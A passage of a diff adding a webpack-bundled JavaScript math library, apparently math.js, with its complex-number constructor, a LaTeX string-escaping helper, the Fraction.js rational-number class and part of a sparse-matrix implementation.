string, unit + * + * @param {* | Array | Matrix} [args] + * Arguments specifying the real and imaginary part of the complex number + * @return {Complex | Array | Matrix} Returns a complex value + */ + + + var complex = typed('complex', { + '': function _() { + return type.Complex.ZERO; + }, + 'number': function number(x) { + return new type.Complex(x, 0); + }, + 'number, number': function numberNumber(re, im) { + return new type.Complex(re, im); + }, + // TODO: this signature should be redundant + 'BigNumber, BigNumber': function BigNumberBigNumber(re, im) { + return new type.Complex(re.toNumber(), im.toNumber()); + }, + 'Complex': function Complex(x) { + return x.clone(); + }, + 'string': function string(x) { + return type.Complex(x); // for example '2 + 3i' + }, + 'null': function _null(x) { + return type.Complex(0); + }, + 'Object': function Object(x) { + if ('re' in x && 'im' in x) { + return new type.Complex(x.re, x.im); + } + + if ('r' in x && 'phi' in x || 'abs' in x && 'arg' in x) { + return new type.Complex(x); + } + + throw new Error('Expected object with properties (re and im) or (r and phi) or (abs and arg)'); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, complex); + } + }); + complex.toTex = { + 0: '0', + 1: "\\left(${args[0]}\\right)", + 2: "\\left(\\left(${args[0]}\\right)+".concat(latex.symbols['i'], "\\cdot\\left(${args[1]}\\right)\\right)") + }; + return complex; +} + +exports.name = 'complex'; +exports.factory = factory; + +/***/ }), +/* 180 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +// Map the characters to escape to their escaped values. The list is derived +// from http://www.cespedes.org/blog/85/how-to-escape-latex-special-characters + +var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; + +var defaultEscapes = { + "{": "\\{", + "}": "\\}", + "\\": "\\textbackslash{}", + "#": "\\#", + $: "\\$", + "%": "\\%", + "&": "\\&", + "^": "\\textasciicircum{}", + _: "\\_", + "~": "\\textasciitilde{}" +}; +var formatEscapes = { + "\u2013": "\\--", + "\u2014": "\\---", + " ": "~", + "\t": "\\qquad{}", + "\r\n": "\\newline{}", + "\n": "\\newline{}" +}; + +var defaultEscapeMapFn = function defaultEscapeMapFn(defaultEscapes, formatEscapes) { + return _extends({}, defaultEscapes, formatEscapes); +}; + +/** + * Escape a string to be used in LaTeX documents. + * @param {string} str the string to be escaped. + * @param {boolean} params.preserveFormatting whether formatting escapes should + * be performed (default: false). + * @param {function} params.escapeMapFn the function to modify the escape maps. + * @return {string} the escaped string, ready to be used in LaTeX. + */ +module.exports = function (str) { + var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}, + _ref$preserveFormatti = _ref.preserveFormatting, + preserveFormatting = _ref$preserveFormatti === undefined ? false : _ref$preserveFormatti, + _ref$escapeMapFn = _ref.escapeMapFn, + escapeMapFn = _ref$escapeMapFn === undefined ? defaultEscapeMapFn : _ref$escapeMapFn; + + var runningStr = String(str); + var result = ""; + + var escapes = escapeMapFn(_extends({}, defaultEscapes), preserveFormatting ? _extends({}, formatEscapes) : {}); + var escapeKeys = Object.keys(escapes); // as it is reused later on + + // Algorithm: Go through the string character by character, if it matches + // with one of the special characters then we'll replace it with the escaped + // version. + + var _loop = function _loop() { + var specialCharFound = false; + escapeKeys.forEach(function (key, index) { + if (specialCharFound) { + return; + } + if (runningStr.length >= key.length && runningStr.slice(0, key.length) === key) { + result += escapes[escapeKeys[index]]; + runningStr = runningStr.slice(key.length, runningStr.length); + specialCharFound = true; + } + }); + if (!specialCharFound) { + result += runningStr.slice(0, 1); + runningStr = runningStr.slice(1, runningStr.length); + } + }; + + while (runningStr) { + _loop(); + } + return result; +}; + +/***/ }), +/* 181 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// type +__webpack_require__(182), // construction function +__webpack_require__(83)]; + +/***/ }), +/* 182 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var Fraction = __webpack_require__(183); +/** + * Attach type information + */ + + +Fraction.prototype.type = 'Fraction'; +Fraction.prototype.isFraction = true; +/** + * Get a JSON representation of a Fraction containing type information + * @returns {Object} Returns a JSON object structured as: + * `{"mathjs": "Fraction", "n": 3, "d": 8}` + */ + +Fraction.prototype.toJSON = function () { + return { + mathjs: 'Fraction', + n: this.s * this.n, + d: this.d + }; +}; +/** + * Instantiate a Fraction from a JSON object + * @param {Object} json a JSON object structured as: + * `{"mathjs": "Fraction", "n": 3, "d": 8}` + * @return {BigNumber} + */ + + +Fraction.fromJSON = function (json) { + return new Fraction(json); +}; + +function factory(type, config, load, typed) { + return Fraction; +} + +exports.name = 'Fraction'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 183 */ +/***/ (function(module, exports, __webpack_require__) { + +var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/** + * @license Fraction.js v4.0.12 09/09/2015 + * http://www.xarg.org/2014/03/rational-numbers-in-javascript/ + * + * Copyright (c) 2015, Robert Eisele (robert@xarg.org) + * Dual licensed under the MIT or GPL Version 2 licenses. + **/ + + +/** + * + * This class offers the possibility to calculate fractions. + * You can pass a fraction in different formats. Either as array, as double, as string or as an integer. + * + * Array/Object form + * [ 0 => , 1 => ] + * [ n => , d => ] + * + * Integer form + * - Single integer value + * + * Double form + * - Single double value + * + * String form + * 123.456 - a simple double + * 123/456 - a string fraction + * 123.'456' - a double with repeating decimal places + * 123.(456) - synonym + * 123.45'6' - a double with repeating last place + * 123.45(6) - synonym + * + * Example: + * + * var f = new Fraction("9.4'31'"); + * f.mul([-4, 3]).div(4.9); + * + */ + +(function(root) { + + "use strict"; + + // Maximum search depth for cyclic rational numbers. 2000 should be more than enough. + // Example: 1/7 = 0.(142857) has 6 repeating decimal places. + // If MAX_CYCLE_LEN gets reduced, long cycles will not be detected and toString() only gets the first 10 digits + var MAX_CYCLE_LEN = 2000; + + // Parsed data to avoid calling "new" all the time + var P = { + "s": 1, + "n": 0, + "d": 1 + }; + + function createError(name) { + + function errorConstructor() { + var temp = Error.apply(this, arguments); + temp['name'] = this['name'] = name; + this['stack'] = temp['stack']; + this['message'] = temp['message']; + } + + /** + * Error constructor + * + * @constructor + */ + function IntermediateInheritor() {} + IntermediateInheritor.prototype = Error.prototype; + errorConstructor.prototype = new IntermediateInheritor(); + + return errorConstructor; + } + + var DivisionByZero = Fraction['DivisionByZero'] = createError('DivisionByZero'); + var InvalidParameter = Fraction['InvalidParameter'] = createError('InvalidParameter'); + + function assign(n, s) { + + if (isNaN(n = parseInt(n, 10))) { + throwInvalidParam(); + } + return n * s; + } + + function throwInvalidParam() { + throw new InvalidParameter(); + } + + var parse = function(p1, p2) { + + var n = 0, d = 1, s = 1; + var v = 0, w = 0, x = 0, y = 1, z = 1; + + var A = 0, B = 1; + var C = 1, D = 1; + + var N = 10000000; + var M; + + if (p1 === undefined || p1 === null) { + /* void */ + } else if (p2 !== undefined) { + n = p1; + d = p2; + s = n * d; + } else + switch (typeof p1) { + + case "object": + { + if ("d" in p1 && "n" in p1) { + n = p1["n"]; + d = p1["d"]; + if ("s" in p1) + n *= p1["s"]; + } else if (0 in p1) { + n = p1[0]; + if (1 in p1) + d = p1[1]; + } else { + throwInvalidParam(); + } + s = n * d; + break; + } + case "number": + { + if (p1 < 0) { + s = p1; + p1 = -p1; + } + + if (p1 % 1 === 0) { + n = p1; + } else if (p1 > 0) { // check for != 0, scale would become NaN (log(0)), which converges really slow + + if (p1 >= 1) { + z = Math.pow(10, Math.floor(1 + Math.log(p1) / Math.LN10)); + p1 /= z; + } + + // Using Farey Sequences + // http://www.johndcook.com/blog/2010/10/20/best-rational-approximation/ + + while (B <= N && D <= N) { + M = (A + C) / (B + D); + + if (p1 === M) { + if (B + D <= N) { + n = A + C; + d = B + D; + } else if (D > B) { + n = C; + d = D; + } else { + n = A; + d = B; + } + break; + + } else { + + if (p1 > M) { + A += C; + B += D; + } else { + C += A; + D += B; + } + + if (B > N) { + n = C; + d = D; + } else { + n = A; + d = B; + } + } + } + n *= z; + } else if (isNaN(p1) || isNaN(p2)) { + d = n = NaN; + } + break; + } + case "string": + { + B = p1.match(/\d+|./g); + + if (B === null) + throwInvalidParam(); + + if (B[A] === '-') {// Check for minus sign at the beginning + s = -1; + A++; + } else if (B[A] === '+') {// Check for plus sign at the beginning + A++; + } + + if (B.length === A + 1) { // Check if it's just a simple number "1234" + w = assign(B[A++], s); + } else if (B[A + 1] === '.' || B[A] === '.') { // Check if it's a decimal number + + if (B[A] !== '.') { // Handle 0.5 and .5 + v = assign(B[A++], s); + } + A++; + + // Check for decimal places + if (A + 1 === B.length || B[A + 1] === '(' && B[A + 3] === ')' || B[A + 1] === "'" && B[A + 3] === "'") { + w = assign(B[A], s); + y = Math.pow(10, B[A].length); + A++; + } + + // Check for repeating places + if (B[A] === '(' && B[A + 2] === ')' || B[A] === "'" && B[A + 2] === "'") { + x = assign(B[A + 1], s); + z = Math.pow(10, B[A + 1].length) - 1; + A += 3; + } + + } else if (B[A + 1] === '/' || B[A + 1] === ':') { // Check for a simple fraction "123/456" or "123:456" + w = assign(B[A], s); + y = assign(B[A + 2], 1); + A += 3; + } else if (B[A + 3] === '/' && B[A + 1] === ' ') { // Check for a complex fraction "123 1/2" + v = assign(B[A], s); + w = assign(B[A + 2], s); + y = assign(B[A + 4], 1); + A += 5; + } + + if (B.length <= A) { // Check for more tokens on the stack + d = y * z; + s = /* void */ + n = x + d * v + z * w; + break; + } + + /* Fall through on error */ + } + default: + throwInvalidParam(); + } + + if (d === 0) { + throw new DivisionByZero(); + } + + P["s"] = s < 0 ? -1 : 1; + P["n"] = Math.abs(n); + P["d"] = Math.abs(d); + }; + + function modpow(b, e, m) { + + var r = 1; + for (; e > 0; b = (b * b) % m, e >>= 1) { + + if (e & 1) { + r = (r * b) % m; + } + } + return r; + } + + + function cycleLen(n, d) { + + for (; d % 2 === 0; + d /= 2) { + } + + for (; d % 5 === 0; + d /= 5) { + } + + if (d === 1) // Catch non-cyclic numbers + return 0; + + // If we would like to compute really large numbers quicker, we could make use of Fermat's little theorem: + // 10^(d-1) % d == 1 + // However, we don't need such large numbers and MAX_CYCLE_LEN should be the capstone, + // as we want to translate the numbers to strings. + + var rem = 10 % d; + var t = 1; + + for (; rem !== 1; t++) { + rem = rem * 10 % d; + + if (t > MAX_CYCLE_LEN) + return 0; // Returning 0 here means that we don't print it as a cyclic number. It's likely that the answer is `d-1` + } + return t; + } + + + function cycleStart(n, d, len) { + + var rem1 = 1; + var rem2 = modpow(10, len, d); + + for (var t = 0; t < 300; t++) { // s < ~log10(Number.MAX_VALUE) + // Solve 10^s == 10^(s+t) (mod d) + + if (rem1 === rem2) + return t; + + rem1 = rem1 * 10 % d; + rem2 = rem2 * 10 % d; + } + return 0; + } + + function gcd(a, b) { + + if (!a) + return b; + if (!b) + return a; + + while (1) { + a %= b; + if (!a) + return b; + b %= a; + if (!b) + return a; + } + }; + + /** + * Module constructor + * + * @constructor + * @param {number|Fraction=} a + * @param {number=} b + */ + function Fraction(a, b) { + + if (!(this instanceof Fraction)) { + return new Fraction(a, b); + } + + parse(a, b); + + if (Fraction['REDUCE']) { + a = gcd(P["d"], P["n"]); // Abuse a + } else { + a = 1; + } + + this["s"] = P["s"]; + this["n"] = P["n"] / a; + this["d"] = P["d"] / a; + } + + /** + * Boolean global variable to be able to disable automatic reduction of the fraction + * + */ + Fraction['REDUCE'] = 1; + + Fraction.prototype = { + + "s": 1, + "n": 0, + "d": 1, + + /** + * Calculates the absolute value + * + * Ex: new Fraction(-4).abs() => 4 + **/ + "abs": function() { + + return new Fraction(this["n"], this["d"]); + }, + + /** + * Inverts the sign of the current fraction + * + * Ex: new Fraction(-4).neg() => 4 + **/ + "neg": function() { + + return new Fraction(-this["s"] * this["n"], this["d"]); + }, + + /** + * Adds two rational numbers + * + * Ex: new Fraction({n: 2, d: 3}).add("14.9") => 467 / 30 + **/ + "add": function(a, b) { + + parse(a, b); + return new Fraction( + this["s"] * this["n"] * P["d"] + P["s"] * this["d"] * P["n"], + this["d"] * P["d"] + ); + }, + + /** + * Subtracts two rational numbers + * + * Ex: new Fraction({n: 2, d: 3}).add("14.9") => -427 / 30 + **/ + "sub": function(a, b) { + + parse(a, b); + return new Fraction( + this["s"] * this["n"] * P["d"] - P["s"] * this["d"] * P["n"], + this["d"] * P["d"] + ); + }, + + /** + * Multiplies two rational numbers + * + * Ex: new Fraction("-17.(345)").mul(3) => 5776 / 111 + **/ + "mul": function(a, b) { + + parse(a, b); + return new Fraction( + this["s"] * P["s"] * this["n"] * P["n"], + this["d"] * P["d"] + ); + }, + + /** + * Divides two rational numbers + * + * Ex: new Fraction("-17.(345)").inverse().div(3) + **/ + "div": function(a, b) { + + parse(a, b); + return new Fraction( + this["s"] * P["s"] * this["n"] * P["d"], + this["d"] * P["n"] + ); + }, + + /** + * Clones the actual object + * + * Ex: new Fraction("-17.(345)").clone() + **/ + "clone": function() { + return new Fraction(this); + }, + + /** + * Calculates the modulo of two rational numbers - a more precise fmod + * + * Ex: new Fraction('4.(3)').mod([7, 8]) => (13/3) % (7/8) = (5/6) + **/ + "mod": function(a, b) { + + if (isNaN(this['n']) || isNaN(this['d'])) { + return new Fraction(NaN); + } + + if (a === undefined) { + return new Fraction(this["s"] * this["n"] % this["d"], 1); + } + + parse(a, b); + if (0 === P["n"] && 0 === this["d"]) { + Fraction(0, 0); // Throw DivisionByZero + } + + /* + * First silly attempt, kinda slow + * + return that["sub"]({ + "n": num["n"] * Math.floor((this.n / this.d) / (num.n / num.d)), + "d": num["d"], + "s": this["s"] + });*/ + + /* + * New attempt: a1 / b1 = a2 / b2 * q + r + * => b2 * a1 = a2 * b1 * q + b1 * b2 * r + * => (b2 * a1 % a2 * b1) / (b1 * b2) + */ + return new Fraction( + this["s"] * (P["d"] * this["n"]) % (P["n"] * this["d"]), + P["d"] * this["d"] + ); + }, + + /** + * Calculates the fractional gcd of two rational numbers + * + * Ex: new Fraction(5,8).gcd(3,7) => 1/56 + */ + "gcd": function(a, b) { + + parse(a, b); + + // gcd(a / b, c / d) = gcd(a, c) / lcm(b, d) + + return new Fraction(gcd(P["n"], this["n"]) * gcd(P["d"], this["d"]), P["d"] * this["d"]); + }, + + /** + * Calculates the fractional lcm of two rational numbers + * + * Ex: new Fraction(5,8).lcm(3,7) => 15 + */ + "lcm": function(a, b) { + + parse(a, b); + + // lcm(a / b, c / d) = lcm(a, c) / gcd(b, d) + + if (P["n"] === 0 && this["n"] === 0) { + return new Fraction; + } + return new Fraction(P["n"] * this["n"], gcd(P["n"], this["n"]) * gcd(P["d"], this["d"])); + }, + + /** + * Calculates the ceil of a rational number + * + * Ex: new Fraction('4.(3)').ceil() => (5 / 1) + **/ + "ceil": function(places) { + + places = Math.pow(10, places || 0); + + if (isNaN(this["n"]) || isNaN(this["d"])) { + return new Fraction(NaN); + } + return new Fraction(Math.ceil(places * this["s"] * this["n"] / this["d"]), places); + }, + + /** + * Calculates the floor of a rational number + * + * Ex: new Fraction('4.(3)').floor() => (4 / 1) + **/ + "floor": function(places) { + + places = Math.pow(10, places || 0); + + if (isNaN(this["n"]) || isNaN(this["d"])) { + return new Fraction(NaN); + } + return new Fraction(Math.floor(places * this["s"] * this["n"] / this["d"]), places); + }, + + /** + * Rounds a rational numbers + * + * Ex: new Fraction('4.(3)').round() => (4 / 1) + **/ + "round": function(places) { + + places = Math.pow(10, places || 0); + + if (isNaN(this["n"]) || isNaN(this["d"])) { + return new Fraction(NaN); + } + return new Fraction(Math.round(places * this["s"] * this["n"] / this["d"]), places); + }, + + /** + * Gets the inverse of the fraction, means numerator and denumerator are exchanged + * + * Ex: new Fraction([-3, 4]).inverse() => -4 / 3 + **/ + "inverse": function() { + + return new Fraction(this["s"] * this["d"], this["n"]); + }, + + /** + * Calculates the fraction to some integer exponent + * + * Ex: new Fraction(-1,2).pow(-3) => -8 + */ + "pow": function(m) { + + if (m < 0) { + return new Fraction(Math.pow(this['s'] * this["d"], -m), Math.pow(this["n"], -m)); + } else { + return new Fraction(Math.pow(this['s'] * this["n"], m), Math.pow(this["d"], m)); + } + }, + + /** + * Check if two rational numbers are the same + * + * Ex: new Fraction(19.6).equals([98, 5]); + **/ + "equals": function(a, b) { + + parse(a, b); + return this["s"] * this["n"] * P["d"] === P["s"] * P["n"] * this["d"]; // Same as compare() === 0 + }, + + /** + * Check if two rational numbers are the same + * + * Ex: new Fraction(19.6).equals([98, 5]); + **/ + "compare": function(a, b) { + + parse(a, b); + var t = (this["s"] * this["n"] * P["d"] - P["s"] * P["n"] * this["d"]); + return (0 < t) - (t < 0); + }, + + "simplify": function(eps) { + + // First naive implementation, needs improvement + + if (isNaN(this['n']) || isNaN(this['d'])) { + return this; + } + + var cont = this['abs']()['toContinued'](); + + eps = eps || 0.001; + + function rec(a) { + if (a.length === 1) + return new Fraction(a[0]); + return rec(a.slice(1))['inverse']()['add'](a[0]); + } + + for (var i = 0; i < cont.length; i++) { + var tmp = rec(cont.slice(0, i + 1)); + if (tmp['sub'](this['abs']())['abs']().valueOf() < eps) { + return tmp['mul'](this['s']); + } + } + return this; + }, + + /** + * Check if two rational numbers are divisible + * + * Ex: new Fraction(19.6).divisible(1.5); + */ + "divisible": function(a, b) { + + parse(a, b); + return !(!(P["n"] * this["d"]) || ((this["n"] * P["d"]) % (P["n"] * this["d"]))); + }, + + /** + * Returns a decimal representation of the fraction + * + * Ex: new Fraction("100.'91823'").valueOf() => 100.91823918239183 + **/ + 'valueOf': function() { + + return this["s"] * this["n"] / this["d"]; + }, + + /** + * Returns a string-fraction representation of a Fraction object + * + * Ex: new Fraction("1.'3'").toFraction() => "4 1/3" + **/ + 'toFraction': function(excludeWhole) { + + var whole, str = ""; + var n = this["n"]; + var d = this["d"]; + if (this["s"] < 0) { + str += '-'; + } + + if (d === 1) { + str += n; + } else { + + if (excludeWhole && (whole = Math.floor(n / d)) > 0) { + str += whole; + str += " "; + n %= d; + } + + str += n; + str += '/'; + str += d; + } + return str; + }, + + /** + * Returns a latex representation of a Fraction object + * + * Ex: new Fraction("1.'3'").toLatex() => "\frac{4}{3}" + **/ + 'toLatex': function(excludeWhole) { + + var whole, str = ""; + var n = this["n"]; + var d = this["d"]; + if (this["s"] < 0) { + str += '-'; + } + + if (d === 1) { + str += n; + } else { + + if (excludeWhole && (whole = Math.floor(n / d)) > 0) { + str += whole; + n %= d; + } + + str += "\\frac{"; + str += n; + str += '}{'; + str += d; + str += '}'; + } + return str; + }, + + /** + * Returns an array of continued fraction elements + * + * Ex: new Fraction("7/8").toContinued() => [0,1,7] + */ + 'toContinued': function() { + + var t; + var a = this['n']; + var b = this['d']; + var res = []; + + if (isNaN(this['n']) || isNaN(this['d'])) { + return res; + } + + do { + res.push(Math.floor(a / b)); + t = a % b; + a = b; + b = t; + } while (a !== 1); + + return res; + }, + + /** + * Creates a string representation of a fraction with all digits + * + * Ex: new Fraction("100.'91823'").toString() => "100.(91823)" + **/ + 'toString': function(dec) { + + var g; + var N = this["n"]; + var D = this["d"]; + + if (isNaN(N) || isNaN(D)) { + return "NaN"; + } + + if (!Fraction['REDUCE']) { + g = gcd(N, D); + N /= g; + D /= g; + } + + dec = dec || 15; // 15 = decimal places when no repitation + + var cycLen = cycleLen(N, D); // Cycle length + var cycOff = cycleStart(N, D, cycLen); // Cycle start + + var str = this['s'] === -1 ? "-" : ""; + + str += N / D | 0; + + N %= D; + N *= 10; + + if (N) + str += "."; + + if (cycLen) { + + for (var i = cycOff; i--; ) { + str += N / D | 0; + N %= D; + N *= 10; + } + str += "("; + for (var i = cycLen; i--; ) { + str += N / D | 0; + N %= D; + N *= 10; + } + str += ")"; + } else { + for (var i = dec; N && i--; ) { + str += N / D | 0; + N %= D; + N *= 10; + } + } + return str; + } + }; + + if (true) { + !(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_RESULT__ = (function() { + return Fraction; + }).apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__), + __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); + } else {} + +})(this); + + +/***/ }), +/* 184 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// types +__webpack_require__(84), __webpack_require__(49), __webpack_require__(186), __webpack_require__(187), __webpack_require__(188), __webpack_require__(189), __webpack_require__(24), __webpack_require__(106), // construction functions +__webpack_require__(190), __webpack_require__(0), __webpack_require__(191), // util functions +__webpack_require__(63)]; + +/***/ }), +/* 185 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Test whether value is a boolean + * @param {*} value + * @return {boolean} isBoolean + */ + +exports.isBoolean = function (value) { + return typeof value === 'boolean'; +}; + +/***/ }), +/* 186 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +var DimensionError = __webpack_require__(8); + +var array = util.array; +var object = util.object; +var string = util.string; +var number = util.number; +var isArray = Array.isArray; +var isNumber = number.isNumber; +var isInteger = number.isInteger; +var isString = string.isString; +var validateIndex = array.validateIndex; + +function factory(type, config, load, typed) { + var Matrix = load(__webpack_require__(84)); // force loading Matrix (do not use via type.Matrix) + + var equalScalar = load(__webpack_require__(11)); + var getArrayDataType = load(__webpack_require__(63)); + /** + * Sparse Matrix implementation. This type implements a Compressed Column Storage format + * for sparse matrices. + * @class SparseMatrix + */ + + function SparseMatrix(data, datatype) { + if (!(this instanceof SparseMatrix)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (datatype && !isString(datatype)) { + throw new Error('Invalid datatype: ' + datatype); + } + + if (type.isMatrix(data)) { + // create from matrix + _createFromMatrix(this, data, datatype); + } else if (data && isArray(data.index) && isArray(data.ptr) && isArray(data.size)) { + // initialize fields + this._values = data.values; + this._index = data.index; + this._ptr = data.ptr; + this._size = data.size; + this._datatype = datatype || data.datatype; + } else if (isArray(data)) { + // create from array + _createFromArray(this, data, datatype); + } else if (data) { + // unsupported type + throw new TypeError('Unsupported type of data (' + util.types.type(data) + ')'); + } else { + // nothing provided + this._values = []; + this._index = []; + this._ptr = [0]; + this._size = [0, 0]; + this._datatype = datatype; + } + } + + function _createFromMatrix(matrix, source, datatype) { + // check matrix type + if (source.type === 'SparseMatrix') { + // clone arrays + matrix._values = source._values ? object.clone(source._values) : undefined; + matrix._index = object.clone(source._index); + matrix._ptr = object.clone(source._ptr); + matrix._size = object.clone(source._size); + matrix._datatype = datatype || source._datatype; + } else { + // build from matrix data + _createFromArray(matrix, source.valueOf(), datatype || source._datatype); + } + } + + function _createFromArray(matrix, data, datatype) { + // initialize fields + matrix._values = []; + matrix._index = []; + matrix._ptr = []; + matrix._datatype = datatype; // discover rows & columns, do not use math.size() to avoid looping array twice + + var rows = data.length; + var columns = 0; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; + + if (isString(datatype)) { + // find signature that matches (datatype, datatype) + eq = typed.find(equalScalar, [datatype, datatype]) || equalScalar; // convert 0 to the same datatype + + zero = typed.convert(0, datatype); + } // check we have rows (empty array) + + + if (rows > 0) { + // column index + var j = 0; + + do { + // store pointer to values index + matrix._ptr.push(matrix._index.length); // loop rows + + + for (var i = 0; i < rows; i++) { + // current row + var row = data[i]; // check row is an array + + if (isArray(row)) { + // update columns if needed (only on first column) + if (j === 0 && columns < row.length) { + columns = row.length; + } // check row has column + + + if (j < row.length) { + // value + var v = row[j]; // check value != 0 + + if (!eq(v, zero)) { + // store value + matrix._values.push(v); // index + + + matrix._index.push(i); + } + } + } else { + // update columns if needed (only on first column) + if (j === 0 && columns < 1) { + columns = 1; + } // check value != 0 (row is a scalar) + + + if (!eq(row, zero)) { + // store value + matrix._values.push(row); // index + + + matrix._index.push(i); + } + } + } // increment index + + + j++; + } while (j < columns); + } // store number of values in ptr + + + matrix._ptr.push(matrix._index.length); // size + + + matrix._size = [rows, columns]; + } + + SparseMatrix.prototype = new Matrix(); + /** + * Attach type information + */ + + SparseMatrix.prototype.type = 'SparseMatrix'; + SparseMatrix.prototype.isSparseMatrix = true; + /** + * Get the matrix type + * + * Usage: + * const matrixType = matrix.getDataType() // retrieves the matrix type + * + * @memberOf SparseMatrix + * @return {string} type information; if multiple types are found from the Matrix, it will return "mixed" + */ + + SparseMatrix.prototype.getDataType = function () { + return getArrayDataType(this._values); + }; + /** + * Get the storage format used by the matrix. + * + * Usage: + * const format = matrix.storage() // retrieve storage format + * + * @memberof SparseMatrix + * @return {string} The storage format. + */ + + + SparseMatrix.prototype.storage = function () { + return 'sparse'; + }; + /** + * Get the datatype of the data stored in the matrix. + * + * Usage: + * const format = matrix.datatype() // retrieve matrix datatype + * + * @memberof SparseMatrix + * @return {string} The datatype. + */ + + + SparseMatrix.prototype.datatype = function () { + return this._datatype; + }; + /** + * Create a new SparseMatrix + * @memberof SparseMatrix + * @param {Array} data + * @param {string} [datatype] + */ + + + SparseMatrix.prototype.create = function (data, datatype) { + return new SparseMatrix(data, datatype); + }; + /** + * Get the matrix density. + * + * Usage: + * const density = matrix.density() // retrieve matrix density + * + * @memberof SparseMatrix + * @return {number} The matrix density. + */ + + + SparseMatrix.prototype.density = function () { + // rows & columns + var rows = this._size[0]; + var columns = this._size[1]; // calculate density + + return rows !== 0 && columns !== 0 ? this._index.length / (rows * columns) : 0; + }; + /** + * Get a subset of the matrix, or replace a subset of the matrix. + * + * Usage: + * const subset = matrix.subset(index) // retrieve subset + * const value = matrix.subset(index, replacement) // replace subset + * + * @memberof SparseMatrix + * @param {Index} index + * @param {Array | Matrix | *} [replacement] + * @param {*} [defaultValue=0] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * new matrix elements will be filled with zeros. + */ + + + SparseMatrix.prototype.subset = function (index, replacement, defaultValue) { + // check it is a pattern matrix + if (!this._values) { + throw new Error('Cannot invoke subset on a Pattern only matrix'); + } // check arguments + + + switch (arguments.length) { + case 1: + return _getsubset(this, index); + // intentional fall through + + case 2: + case 3: + return _setsubset(this, index, replacement, defaultValue); + + default: + throw new SyntaxError('Wrong number of arguments'); + } + }; + + function _getsubset(matrix, idx) { + // check idx + if (!type.isIndex(idx)) { + throw new TypeError('Invalid index'); + } + + var isScalar = idx.isScalar(); + + if (isScalar) { + // return a scalar + return matrix.get(idx.min()); + } // validate dimensions + + + var size = idx.size(); + + if (size.length !== matrix._size.length) { + throw new DimensionError(size.length, matrix._size.length); + } // vars + + + var i, ii, k, kk; // validate if any of the ranges in the index is out of range + + var min = idx.min(); + var max = idx.max(); + + for (i = 0, ii = matrix._size.length; i < ii; i++) { + validateIndex(min[i], matrix._size[i]); + validateIndex(max[i], matrix._size[i]); + } // matrix arrays + + + var mvalues = matrix._values; + var mindex = matrix._index; + var mptr = matrix._ptr; // rows & columns dimensions for result matrix + + var rows = idx.dimension(0); + var columns = idx.dimension(1); // workspace & permutation vector + + var w = []; + var pv = []; // loop rows in resulting matrix + + rows.forEach(function (i, r) { + // update permutation vector + pv[i] = r[0]; // mark i in workspace + + w[i] = true; + }); // result matrix arrays + + var values = mvalues ? [] : undefined; + var index = []; + var ptr = []; // loop columns in result matrix + + columns.forEach(function (j) { + // update ptr + ptr.push(index.length); // loop values in column j + + for (k = mptr[j], kk = mptr[j + 1]; k < kk; k++) { + // row + i = mindex[k]; // check row is in result matrix + + if (w[i] === true) { + // push index + index.push(pv[i]); // check we need to process values + + if (values) { + values.push(mvalues[k]); + } + } + } + }); // update ptr + + ptr.push(index.length); // return matrix + + return new SparseMatrix({ + values: values, + index: index, + ptr: ptr, + size: size, + datatype: matrix._datatype + }); + } + + function _setsubset(matrix, index, submatrix, defaultValue) { + // check index + if (!index || index.isIndex !== true) { + throw new TypeError('Invalid index'); + } // get index size and check whether the index contains a single value + + + var iSize = index.size(); + var isScalar = index.isScalar(); // calculate the size of the submatrix, and convert it into an Array if needed + + var sSize; + + if (type.isMatrix(submatrix)) { + // submatrix size + sSize = submatrix.size(); // use array representation + + submatrix = submatrix.toArray(); + } else { + // get submatrix size (array, scalar) + sSize = array.size(submatrix); + } // check index is a scalar + + + if (isScalar) { + // verify submatrix is a scalar + if (sSize.length !== 0) { + throw new TypeError('Scalar expected'); + } // set value + + + matrix.set(index.min(), submatrix, defaultValue); + } else { + // validate dimensions, index size must be one or two dimensions + if (iSize.length !== 1 && iSize.length !== 2) { + throw new DimensionError(iSize.length, matrix._size.length, '<'); + } // check submatrix and index have the same dimensions + + + if (sSize.length < iSize.length) { + // calculate number of missing outer dimensions + var i = 0; + var outer = 0; + + while (iSize[i] === 1 && sSize[i] === 1) { + i++; + } + + while (iSize[i] === 1) { + outer++; + i++; + } // unsqueeze both outer and inner dimensions + + + submatrix = array.unsqueeze(submatrix, iSize.length, outer, sSize); + } // check whether the size of the submatrix matches the index size + + + if (!object.deepEqual(iSize, sSize)) { + throw new DimensionError(iSize, sSize, '>'); + } // offsets + + + var x0 = index.min()[0]; + var y0 = index.min()[1]; // submatrix rows and columns + + var m = sSize[0]; + var n = sSize[1]; // loop submatrix + + for (var x = 0; x < m; x++) { + // loop columns + for (var y = 0; y < n; y++) { + // value at i, j + var v = submatrix[x][y]; // invoke set (zero value will remove entry from matrix) + + matrix.set([x + x0, y + y0], v, defaultValue); + } + } + } + + return matrix; + } + /** + * Get a single element from the matrix. + * @memberof SparseMatrix + * @param {number[]} index Zero-based index + * @return {*} value + */ + + + SparseMatrix.prototype.get = function (index) { + if (!isArray(index)) { + throw new TypeError('Array expected'); + } + + if (index.length !== this._size.length) { + throw new DimensionError(index.length, this._size.length); + } // check it is a pattern matrix + + + if (!this._values) { + throw new Error('Cannot invoke get on a Pattern only matrix'); + } // row and column + + + var i = index[0]; + var j = index[1]; // check i, j are valid 